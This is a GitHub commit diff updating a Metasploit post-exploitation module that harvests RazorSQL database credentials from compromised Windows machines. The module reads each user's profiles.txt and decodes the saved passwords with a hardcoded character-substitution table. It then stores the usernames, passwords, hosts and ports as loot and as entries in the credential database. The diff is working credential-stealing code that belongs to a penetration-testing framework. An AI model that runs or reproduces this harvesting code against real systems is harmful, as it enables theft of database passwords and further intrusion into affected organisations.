Skip to content

Commit 656f64d

Browse files
committed
Update razorsql to use the new cred API
1 parent 9713fe7 commit 656f64d

File tree

1 file changed

+72
-25
lines changed

1 file changed

+72
-25
lines changed

modules/post/windows/gather/credentials/razorsql.rb

Lines changed: 72 additions & 25 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@
99

1010
class Metasploit3 < Msf::Post
1111

12+
include Msf::Post::File
1213
include Msf::Auxiliary::Report
1314
include Msf::Post::Windows::UserProfiles
1415

@@ -30,6 +31,48 @@ def initialize(info={})
3031
))
3132
end
3233

34+
def get_profiles
35+
profiles = []
36+
grab_user_profiles.each do |user|
37+
next unless user['ProfileDir']
38+
['.razorsql\\data\\profiles.txt', 'AppData\Roaming\RazorSQL\data\profiles.txt'].each do |profile_path|
39+
file = "#{user['ProfileDir']}\\#{profile_path}"
40+
profiles << file if file?(file)
41+
end
42+
end
43+
44+
profiles
45+
end
46+
47+
48+
def report_cred(opts)
49+
service_data = {
50+
address: opts[:ip],
51+
port: opts[:port],
52+
service_name: opts[:service_name],
53+
protocol: 'tcp',
54+
workspace_id: myworkspace_id
55+
}
56+
57+
credential_data = {
58+
module_fullname: fullname,
59+
post_reference_name: self.refname,
60+
session_id: session_db_id,
61+
origin_type: :session,
62+
private_data: opts[:password],
63+
private_type: :password,
64+
username: opts[:user]
65+
}.merge(service_data)
66+
67+
login_data = {
68+
core: create_credential(credential_data),
69+
status: Metasploit::Model::Login::Status::UNTRIED,
70+
}.merge(service_data)
71+
72+
create_credential_login(login_data)
73+
end
74+
75+
3376
def run
3477
print_status("Checking All Users...")
3578
creds_tbl = Rex::Ui::Text::Table.new(
@@ -47,19 +90,17 @@ def run
4790
]
4891
)
4992

50-
grab_user_profiles().each do |user|
51-
next if user['ProfileDir'] == nil
52-
file= user['ProfileDir'] + "\\.razorsql\\data\\profiles.txt"
53-
content = get_content(file)
54-
if content and not content.empty?
55-
creds = parse_content(creds_tbl, content, user['UserName'])
56-
creds.each do |c|
57-
creds_tbl << c
58-
end
93+
get_profiles.each do |profile_path|
94+
content = get_content(profile_path)
95+
next if content.blank?
96+
parse_content(creds_tbl, content).each do |cred|
97+
creds_tbl << cred
5998
end
6099
end
61100

62-
if not creds_tbl.rows.empty?
101+
if creds_tbl.rows.empty?
102+
print_status("No creds collected.")
103+
else
63104
path = store_loot(
64105
'razor.user.creds',
65106
'text/csv',
@@ -70,8 +111,6 @@ def run
70111
)
71112
print_line(creds_tbl.to_s)
72113
print_status("User credentials stored in: #{path}")
73-
else
74-
print_error("No data collected")
75114
end
76115
end
77116

@@ -86,9 +125,8 @@ def get_content(file)
86125
return content
87126
end
88127

89-
def parse_content(table, content, username)
128+
def parse_content(table, content)
90129
creds = []
91-
print_line("Account: #{username}\n")
92130
content = content.split(/\(\(Z~\]/)
93131
content.each do |db|
94132
database = (db.scan(/database=(.*)/).flatten[0] || '').strip
@@ -100,19 +138,22 @@ def parse_content(table, content, username)
100138
pass = (db.scan(/password=(.*)/).flatten[0] ||'').strip
101139

102140
# Decrypt if there's a password
103-
pass = decrypt(pass) if not pass.empty?
141+
decrypted_pass = decrypt(pass) unless pass.blank?
142+
143+
pass = decrypted_pass ? decrypted_pass : pass
104144

105145
# Store data
106146
creds << [user, pass, type, host, port, dbname, database]
107147

108-
# Reort auth info while dumping data
109-
report_auth_info(
110-
:host => host,
111-
:port => port,
112-
:sname => database,
113-
:user => user,
114-
:pass => pass,
115-
:type => 'password'
148+
# Don't report if there's nothing to report
149+
next if user.blank? && pass.blank?
150+
151+
report_cred(
152+
ip: rhost,
153+
port: port.to_i,
154+
service_name: database,
155+
user: user,
156+
password: pass
116157
)
117158
end
118159

@@ -140,10 +181,16 @@ def decrypt( encrypted_password )
140181
"a" => "<" , "Y" => ">" , "'" => "'" , "^" => "^" , "{" => "{" ,
141182
"}" => "}" , "[" => "[" , "]" => "]" , "~" => "~" , "`" => "`"
142183
}
143-
password=''
184+
password = ''
144185
for letter in encrypted_password.chomp.each_char
145-
password << magic_key[letter]
186+
char = magic_key[letter]
187+
188+
# If there's a nil, it indicates our decryption method does not work for this version.
189+
return nil if char.nil?
190+
191+
password << char
146192
end
193+
147194
return password
148195
end
149196
end

0 commit comments

Comments
 (0)